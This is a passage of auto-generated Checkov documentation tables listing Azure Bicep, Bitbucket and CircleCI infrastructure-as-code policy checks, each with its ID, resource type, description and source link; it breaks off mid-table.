                                                         | Bicep | [KeyVaultEnablesFirewallRulesSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesFirewallRulesSettings.py)                                             |\n| 119 | CKV_AZURE_110 | resource  | Microsoft.KeyVault/vaults                                                    | Ensure that key vault enables purge protection                                                                    | Bicep | [KeyVaultEnablesPurgeProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesPurgeProtection.py)                                                         |\n| 120 | CKV_AZURE_111 | resource  | Microsoft.KeyVault/vaults                                                    | Ensure that key vault enables soft delete                                                                         | Bicep | [KeyVaultEnablesSoftDelete.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesSoftDelete.py)                                                                   |\n| 121 | CKV_AZURE_112 | resource  | Microsoft.KeyVault/vaults/keys                                               | Ensure that key vault key is backed by HSM                                                                        | Bicep | [KeyBackedByHSM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyBackedByHSM.py)                                                                                         |\n| 122 | CKV_AZURE_113 | resource  | Microsoft.Sql/servers                                                        | Ensure that SQL server disables public network access                                                             | Bicep | [SQLServerHasPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerHasPublicAccessDisabled.py)                                                     |\n| 123 | CKV_AZURE_114 | resource  | Microsoft.KeyVault/vaults/secrets                                            | Ensure that key vault secrets have \"content_type\" set                                                             | Bicep | [SecretContentType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecretContentType.py)                                                                                   |\n| 124 | CKV_AZURE_121 | resource  | Microsoft.Network/frontDoors                                                 | Ensure that Azure Front Door enables WAF                                                                          | Bicep | [AzureFrontDoorEnablesWAF.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureFrontDoorEnablesWAF.py)                                                                     |\n| 125 | CKV_AZURE_123 | resource  | Microsoft.Network/FrontDoorWebApplicationFirewallPolicies                    | Ensure that Azure Front Door uses WAF in \"Detection\" or \"Prevention\" modes                                        | Bicep | [FrontdoorUseWAFMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FrontdoorUseWAFMode.py)                                                                               |\n| 126 | CKV_AZURE_125 | resource  | Microsoft.ServiceFabric/clusters                                             | Ensures that Service Fabric use three levels of protection available                                              | Bicep | [AzureServiceFabricClusterProtectionLevel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureServiceFabricClusterProtectionLevel.py)                                     |\n| 127 | CKV_AZURE_129 | resource  | Microsoft.DBforMariaDB/servers                                               | Ensure that MariaDB server enables geo-redundant backups                                                          | Bicep | [MariaDBGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBGeoBackupEnabled.py)                                                                       |\n| 128 | CKV_AZURE_130 | resource  | Microsoft.DBforPostgreSQL/servers                                            | Ensure that PostgreSQL server enables infrastructure encryption                                                   | Bicep | [PostgreSQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLEncryptionEnabled.py)                                                               |\n| 129 | CKV_AZURE_131 | parameter | string                                                                       | SecureString parameter should not have hardcoded default values                                                   | Bicep | [SecureStringParameterNoHardcodedValue.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/param/azure/SecureStringParameterNoHardcodedValue.py)                                      |\n| 130 | CKV_AZURE_132 | resource  | Microsoft.DocumentDB/databaseAccounts                                        | Ensure cosmosdb does not allow privileged escalation by restricting management plane changes                      | Bicep | [CosmosDBDisableAccessKeyWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBDisableAccessKeyWrite.py)                                                           |\n| 131 | CKV_AZURE_133 | resource  | Microsoft.Network/frontdoorWebApplicationFirewallPolicies                    | Ensure Front Door WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell                        | Bicep | [FrontDoorWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FrontDoorWAFACLCVE202144228.py)                                                               |\n| 132 | CKV_AZURE_134 | resource  | Microsoft.CognitiveServices/accounts                                         | Ensure that Cognitive Services accounts disable public network access                                             | Bicep | [CognitiveServicesDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesDisablesPublicNetwork.py)                                         |\n| 133 | CKV_AZURE_135 | resource  | Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies           | Ensure Application Gateway WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell               | Bicep | [AppGatewayWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppGatewayWAFACLCVE202144228.py)                                                             |\n| 134 | CKV_AZURE_137 | resource  | Microsoft.ContainerRegistry/registries                                       | Ensure ACR admin account is disabled                                                                              | Bicep | [ACRAdminAccountDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRAdminAccountDisabled.py)                                                                       |\n| 135 | CKV_AZURE_138 | resource  | Microsoft.ContainerRegistry/registries                                       | Ensures that ACR disables anonymous pulling of images                                                             | Bicep | [ACRAnonymousPullDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRAnonymousPullDisabled.py)                                                                     |\n| 136 | CKV_AZURE_139 | resource  | Microsoft.ContainerRegistry/registries                                       | Ensure ACR set to disable public networking                                                                       | Bicep | [ACRPublicNetworkAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRPublicNetworkAccessDisabled.py)                                                         |\n| 137 | CKV_AZURE_140 | resource  | Microsoft.DocumentDB/databaseAccounts                                        | Ensure that Local Authentication is disabled on CosmosDB                                                          | Bicep | [CosmosDBLocalAuthDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBLocalAuthDisabled.py)                                                                   |\n| 138 | CKV_AZURE_141 | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure AKS local admin account is disabled                                                                        | Bicep | [AKSLocalAdminDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSLocalAdminDisabled.py)                                                                           |\n| 139 | CKV_AZURE_145 | resource  | Microsoft.Web/sites                                                          | Ensure Function app is using the latest version of TLS encryption                                                 | Bicep | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppMinTLSVersion.py)                                                                     |\n| 140 | CKV_AZURE_145 | resource  | Microsoft.Web/sites/slots                                                    | Ensure Function app is using the latest version of TLS encryption                                                 | Bicep | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppMinTLSVersion.py)                                                                     |\n| 141 | CKV_AZURE_149 | resource  | Microsoft.Compute/virtualMachineScaleSets                                    | Ensure that Virtual machine does not enable password authentication                                               | Bicep | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMDisablePasswordAuthentication.py)                                                       |\n| 142 | CKV_AZURE_149 | resource  | Microsoft.Compute/virtualMachines                                            | Ensure that Virtual machine does not enable password authentication                                               | Bicep | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMDisablePasswordAuthentication.py)                                                       |\n| 143 | CKV_AZURE_151 | resource  | Microsoft.Compute/virtualMachines                                            | Ensure Windows VM enables encryption                                                                              | Bicep | [WinVMEncryptionAtHost.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMEncryptionAtHost.py)                                                                           |\n| 144 | CKV_AZURE_153 | resource  | Microsoft.Web/sites                                                          | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot                                      | Bicep | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py)                                                                       |\n| 145 | CKV_AZURE_153 | resource  | Microsoft.Web/sites/slots                                                    | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot                                      | Bicep | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py)                                                                       |\n| 146 | CKV_AZURE_155 | resource  | Microsoft.Web/sites                                                          | Ensure debugging is disabled for the App service slot                                                             | Bicep | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py)                                                               |\n| 147 | CKV_AZURE_155 | resource  | Microsoft.Web/sites/slots                                                    | Ensure debugging is disabled for the App service slot                                                             | Bicep | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py)                                                               |\n| 148 | CKV_AZURE_157 | resource  | Microsoft.Synapse/workspaces                                                 | Ensure that Synapse workspace has data_exfiltration_protection_enabled                                            | Bicep | [SynapseWorkspaceEnablesDataExfilProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceEnablesDataExfilProtection.py)                                 |\n| 149 | CKV_AZURE_158 | resource  | Microsoft.Databricks/workspaces                                              | Ensure Databricks Workspace data plane to control plane communication happens over private link                   | Bicep | [DatabricksWorkspaceIsNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DatabricksWorkspaceIsNotPublic.py)                                                         |\n| 150 | CKV_AZURE_160 | resource  | Microsoft.Network/networkSecurityGroups                                      | Ensure that HTTP (port 80) access is restricted from the internet                                                 | Bicep | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py)                                                               |\n| 151 | CKV_AZURE_160 | resource  | Microsoft.Network/networkSecurityGroups/securityRules                        | Ensure that HTTP (port 80) access is restricted from the internet                                                 | Bicep | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py)                                                               |\n| 152 | CKV_AZURE_163 | resource  | Microsoft.ContainerRegistry/registries                                       | Enable vulnerability scanning for container images.                                                               | Bicep | [ACRContainerScanEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRContainerScanEnabled.py)                                                                       |\n| 153 | CKV_AZURE_166 | resource  | Microsoft.ContainerRegistry/registries                                       | Ensure container image quarantine, scan, and mark images verified                                                 | Bicep | [ACREnableImageQuarantine.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableImageQuarantine.py)                                                                     |\n| 154 | CKV_AZURE_168 | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods.                               | Bicep | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSMaxPodsMinimum.py)                                                                                   |\n| 155 | CKV_AZURE_168 | resource  | Microsoft.ContainerService/managedClusters/agentPools                        | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods.                               | Bicep | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSMaxPodsMinimum.py)                                                                                   |\n| 156 | CKV_AZURE_169 | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure Azure Kubernetes Cluster (AKS) nodes use scale sets                                                        | Bicep | [AKSPoolTypeIsScaleSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSPoolTypeIsScaleSet.py)                                                                           |\n| 157 | CKV_AZURE_171 | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure AKS cluster upgrade channel is chosen                                                                      | Bicep | [AKSUpgradeChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSUpgradeChannel.py)                                                                                   |\n| 158 | CKV_AZURE_172 | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters                                          | Bicep | [AkSSecretStoreRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AkSSecretStoreRotation.py)                                                                         |\n| 159 | CKV_AZURE_173 | resource  | Microsoft.ApiManagement/service                                              | Ensure API management uses at least TLS 1.2                                                                       | Bicep | [APIManagementMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIManagementMinTLS12.py)                                                                           |\n| 160 | CKV_AZURE_174 | resource  | Microsoft.ApiManagement/service                                              | Ensure API management public access is disabled                                                                   | Bicep | [APIManagementPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIManagementPublicAccess.py)                                                                   |\n| 161 | CKV_AZURE_175 | resource  | Microsoft.SignalRService/webPubSub                                           | Ensure Web PubSub uses a SKU with an SLA                                                                          | Bicep | [PubsubSKUSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PubsubSKUSLA.py)                                                                                             |\n| 162 | CKV_AZURE_176 | resource  | Microsoft.SignalRService/webPubSub                                           | Ensure Web PubSub uses managed identities to access Azure resources                                               | Bicep | [PubsubSpecifyIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PubsubSpecifyIdentity.py)                                                                           |\n| 163 | CKV_AZURE_177 | resource  | Microsoft.Compute/virtualMachineScaleSets                                    | Ensure Windows VM enables automatic updates                                                                       | Bicep | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMAutomaticUpdates.py)                                                                           |\n| 164 | CKV_AZURE_177 | resource  | Microsoft.Compute/virtualMachines                                            | Ensure Windows VM enables automatic updates                                                                       | Bicep | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMAutomaticUpdates.py)                                                                           |\n| 165 | CKV_AZURE_178 | resource  | Microsoft.Compute/virtualMachineScaleSets                                    | Ensure linux VM enables SSH with keys for secure communication                                                    | Bicep | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/LinuxVMUsesSSH.py)                                                                                         |\n| 166 | CKV_AZURE_178 | resource  | Microsoft.Compute/virtualMachines                                            | Ensure linux VM enables SSH with keys for secure communication                                                    | Bicep | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/LinuxVMUsesSSH.py)                                                                                         |\n| 167 | CKV_AZURE_182 | resource  | Microsoft.Network/networkInterfaces                                          | Ensure that VNET has at least 2 connected DNS Endpoints                                                           | Bicep | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetSingleDNSServer.py)                                                                               |\n| 168 | CKV_AZURE_182 | resource  | Microsoft.Network/virtualNetworks                                            | Ensure that VNET has at least 2 connected DNS Endpoints                                                           | Bicep | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetSingleDNSServer.py)                                                                               |\n| 169 | CKV_AZURE_183 | resource  | Microsoft.Network/virtualNetworks                                            | Ensure that VNET uses local DNS addresses                                                                         | Bicep | [VnetLocalDNS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetLocalDNS.py)                                                                                             |\n| 170 | CKV_AZURE_189 | resource  | Microsoft.KeyVault/vaults                                                    | Ensure that Azure Key Vault disables public network access                                                        | Bicep | [KeyVaultDisablesPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultDisablesPublicNetworkAccess.py)                                               |\n| 171 | CKV_AZURE_191 | resource  | Microsoft.EventGrid/topics                                                   | Ensure that Managed identity provider is enabled for Azure Event Grid Topic                                       | Bicep | [EventgridTopicIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicIdentityProviderEnabled.py)                                           |\n| 172 | CKV_AZURE_192 | resource  | Microsoft.EventGrid/topics                                                   | Ensure that Azure Event Grid Topic local Authentication is disabled                                               | Bicep | [EventgridTopicLocalAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicLocalAuthentication.py)                                                   |\n| 173 | CKV_AZURE_193 | resource  | Microsoft.EventGrid/topics                                                   | Ensure public network access is disabled for Azure Event Grid Topic                                               | Bicep | [EventgridTopicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicNetworkAccess.py)                                                               |\n| 174 | CKV_AZURE_206 | resource  | Microsoft.Storage/storageAccounts                                            | Ensure that Storage Accounts use replication                                                                      | Bicep | [StorageAccountsUseReplication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountsUseReplication.py)                                                           |\n| 175 | CKV_AZURE_208 | resource  | Microsoft.Search/searchServices                                              | Ensure that Azure Cognitive Search maintains SLA for index updates                                                | Bicep | [AzureSearchSLAIndex.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSearchSLAIndex.py)                                                                               |\n| 176 | CKV_AZURE_209 | resource  | Microsoft.Search/searchServices                                              | Ensure that Azure Cognitive Search maintains SLA for search index queries                                         | Bicep | [AzureSearchSLAQueryUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSearchSLAQueryUpdates.py)                                                                 |\n| 177 | CKV_AZURE_212 | resource  | Microsoft.Web/sites                                                          | Ensure App Service has a minimum number of instances for failover                                                 | Bicep | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceInstanceMinimum.py)                                                                   |\n| 178 | CKV_AZURE_212 | resource  | Microsoft.Web/sites/slots                                                    | Ensure App Service has a minimum number of instances for failover                                                 | Bicep | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceInstanceMinimum.py)                                                                   |\n| 179 | CKV_AZURE_213 | resource  | Microsoft.Web/sites                                                          | Ensure that App Service configures health check                                                                   | Bicep | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSetHealthCheck.py)                                                                     |\n| 180 | CKV_AZURE_213 | resource  | Microsoft.Web/sites/slots                                                    | Ensure that App Service configures health check                                                                   | Bicep | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSetHealthCheck.py)                                                                     |\n| 181 | CKV_AZURE_216 | resource  | Microsoft.Network/azureFirewalls                                             | Ensure DenyIntelMode is set to Deny for Azure Firewalls                                                           | Bicep | [AzureFirewallDenyThreatIntelMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureFirewallDenyThreatIntelMode.py)                                                     |\n| 182 | CKV_AZURE_218 | resource  | Microsoft.Network/applicationGateways                                        | Ensure Application Gateway defines secure protocols for in transit communication                                  | Bicep | [AppGWDefinesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppGWDefinesSecureProtocols.py)                                                               |\n| 183 | CKV_AZURE_222 | resource  | Microsoft.Web/sites                                                          | Ensure that Azure Web App public network access is disabled                                                       | Bicep | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py)                                                         |\n| 184 | CKV_AZURE_222 | resource  | Microsoft.Web/sites/config                                                   | Ensure that Azure Web App public network access is disabled                                                       | Bicep | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py)                                                         |\n| 185 | CKV_AZURE_222 | resource  | Microsoft.Web/sites/slots                                                    | Ensure that Azure Web App public network access is disabled                                                       | Bicep | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py)                                                         |\n| 186 | CKV_AZURE_223 | resource  | Microsoft.EventHub/namespaces                                                | Ensure Event Hub Namespace uses at least TLS 1.2                                                                  | Bicep | [EventHubNamespaceMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventHubNamespaceMinTLS12.py)                                                                   |\n| 187 | CKV_AZURE_225 | resource  | Microsoft.Web/serverfarms                                                    | Ensure the App Service Plan is zone redundant                                                                     | Bicep | [AppServicePlanZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePlanZoneRedundant.py)                                                               |\n| 188 | CKV_AZURE_226 | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure ephemeral disks are used for OS disks                                                                      | Bicep | [AKSEphemeralOSDisks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEphemeralOSDisks.py)                                                                               |\n| 189 | CKV_AZURE_227 | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources      | Bicep | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py)                                                                 |\n| 190 | CKV_AZURE_227 | resource  | Microsoft.ContainerService/managedClusters/agentPools                        | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources      | Bicep | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py)                                                                 |\n| 191 | CKV_AZURE_229 | resource  | Microsoft.Sql/servers/databases                                              | Ensure the Azure SQL Database Namespace is zone redundant                                                         | Bicep | [SQLDatabaseZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLDatabaseZoneRedundant.py)                                                                     |\n| 192 | CKV_AZURE_233 | resource  | Microsoft.ContainerRegistry/registries                                       | Ensure Azure Container Registry (ACR) is zone redundant                                                           | Bicep | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableZoneRedundancy.py)                                                                       |\n| 193 | CKV_AZURE_233 | resource  | Microsoft.ContainerRegistry/registries/replications                          | Ensure Azure Container Registry (ACR) is zone redundant                                                           | Bicep | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableZoneRedundancy.py)                                                                       |\n| 194 | CKV_AZURE_236 | resource  | Microsoft.CognitiveServices/accounts                                         | Ensure that Cognitive Services accounts disable local authentication                                              | Bicep | [CognitiveServicesEnableLocalAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesEnableLocalAuth.py)                                                     |\n| 195 | CKV_AZURE_238 | resource  | Microsoft.CognitiveServices/accounts                                         | Ensure that all Azure Cognitive Services accounts are configured with a managed identity                          | Bicep | [CognitiveServicesConfigureIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesConfigureIdentity.py)                                                 |\n| 196 | CKV_AZURE_239 | resource  | Microsoft.Synapse/workspaces                                                 | Ensure Azure Synapse Workspace administrator login password is not exposed                                        | Bicep | [SynapseWorkspaceAdministratorLoginPasswordHidden.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceAdministratorLoginPasswordHidden.py)                     |\n| 197 | CKV_AZURE_240 | resource  | Microsoft.Synapse/workspaces                                                 | Ensure Azure Synapse Workspace is encrypted with a CMK                                                            | Bicep | [SynapseWorkspaceCMKEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceCMKEncryption.py)                                                           |\n| 198 | CKV_AZURE_242 | resource  | Microsoft.Synapse/workspaces/bigDataPools                                    | Ensure isolated compute is enabled for Synapse Spark pools                                                        | Bicep | [AzureSparkPoolIsolatedComputeEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSparkPoolIsolatedComputeEnabled.py)                                             |\n| 199 | CKV_AZURE_243 | resource  | Microsoft.MachineLearningServices/workspaces                                 | Ensure Azure Machine learning workspace is configured with private endpoint                                       | Bicep | [AzureMLWorkspacePrivateEndpoint.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureMLWorkspacePrivateEndpoint.py)                                                       |\n| 200 | CKV_AZURE_248 | resource  | Microsoft.Batch/batchAccounts                                                | Ensure that if Azure Batch account public network access in case 'enabled' then its account access must be 'deny' | Bicep | [AzureBatchAccountEndpointAccessDefaultAction.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureBatchAccountEndpointAccessDefaultAction.py)                             |\n| 201 | CKV2_AZURE_19 | resource  | Microsoft.Synapse/workspaces                                                 | Ensure that Azure Synapse workspaces have no IP firewall rules attached                                           | Bicep | [AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py)               |\n| 202 | CKV2_AZURE_27 | resource  | Microsoft.Sql/servers                                                        | Ensure Azure AD authentication is enabled for Azure SQL (MSSQL)                                                   | Bicep | [SQLServerUsesADAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerUsesADAuth.py)                                                                               |\n| 203 | CKV2_AZURE_46 | resource  | Microsoft.Synapse/workspaces/vulnerabilityAssessments                        | Ensure that Azure Synapse Workspace vulnerability assessment is enabled                                           | Bicep | [AzureSynapseWorkspaceVAisEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSynapseWorkspaceVAisEnabled.py)                                                     |\n| 204 | CKV2_AZURE_48 | resource  | Microsoft.Databricks/workspaces                                              | Ensure that Databricks Workspaces enables customer-managed key for root DBFS encryption                           | Bicep | [DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py) |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/bitbucket_configuration.md",
    "content": "---\nlayout: default\ntitle: bitbucket_configuration resource scans\nnav_order: 1\n---\n\n# bitbucket_configuration resource scans (auto generated)\n\n|    | Id              | Type                    | Entity   | Policy                                             | IaC                     | Resource Link                                                                                                                         |\n|----|-----------------|-------------------------|----------|----------------------------------------------------|-------------------------|---------------------------------------------------------------------------------------------------------------------------------------|\n|  0 | CKV_BITBUCKET_1 | bitbucket_configuration | *        | Merge requests should require at least 2 approvals | bitbucket_configuration | [merge_requests_approvals.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bitbucket/checks/merge_requests_approvals.py) |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/bitbucket_pipelines.md",
    "content": "---\nlayout: default\ntitle: bitbucket_pipelines resource scans\nnav_order: 1\n---\n\n# bitbucket_pipelines resource scans (auto generated)\n\n|    | Id                       | Type                | Entity                                                                                           | Policy                                                  | IaC                 | Resource Link                                                                                                           |\n|----|--------------------------|---------------------|--------------------------------------------------------------------------------------------------|---------------------------------------------------------|---------------------|-------------------------------------------------------------------------------------------------------------------------|\n|  0 | CKV_BITBUCKETPIPELINES_1 | bitbucket_pipelines | [{image:image,__startline__:__startline__,__endline__:__endline__}]                              | Ensure the pipeline image uses a non latest version tag | bitbucket_pipelines | [latest_image.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bitbucket_pipelines/checks/latest_image.py) |\n|  1 | CKV_BITBUCKETPIPELINES_1 | bitbucket_pipelines | pipelines.*.[*][][][].step.{image: image, __startline__: __startline__, __endline__:__endline__} | Ensure the pipeline image uses a non latest version tag | bitbucket_pipelines | [latest_image.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bitbucket_pipelines/checks/latest_image.py) |\n|  2 | CKV_BITBUCKETPIPELINES_1 | bitbucket_pipelines | pipelines.default[].step.{image: image, __startline__: __startline__, __endline__:__endline__}   | Ensure the pipeline image uses a non latest version tag | bitbucket_pipelines | [latest_image.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bitbucket_pipelines/checks/latest_image.py) |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/circleci_pipelines.md",
    "content": "---\nlayout: default\ntitle: circleci_pipelines resource scans\nnav_order: 1\n---\n\n# circleci_pipelines resource scans (auto generated)\n\n|    | Id                      | Type               | Entity                                                                                     | Policy                                                                      | IaC                | Resource Link                                                                                                                                  |\n|----|-------------------------|--------------------|--------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------|--------------------|------------------------------------------------------------------------------------------------------------------------------------------------|\n|  0 | CKV_CIRCLECIPIPELINES_1 | circleci_pipelines | jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}      | Ensure the pipeline image uses a non latest version tag                     | circleci_pipelines | [latest_image.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/latest_image.py)                         |\n|  1 | CKV_CIRCLECIPIPELINES_2 | circleci_pipelines | jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}      | Ensure 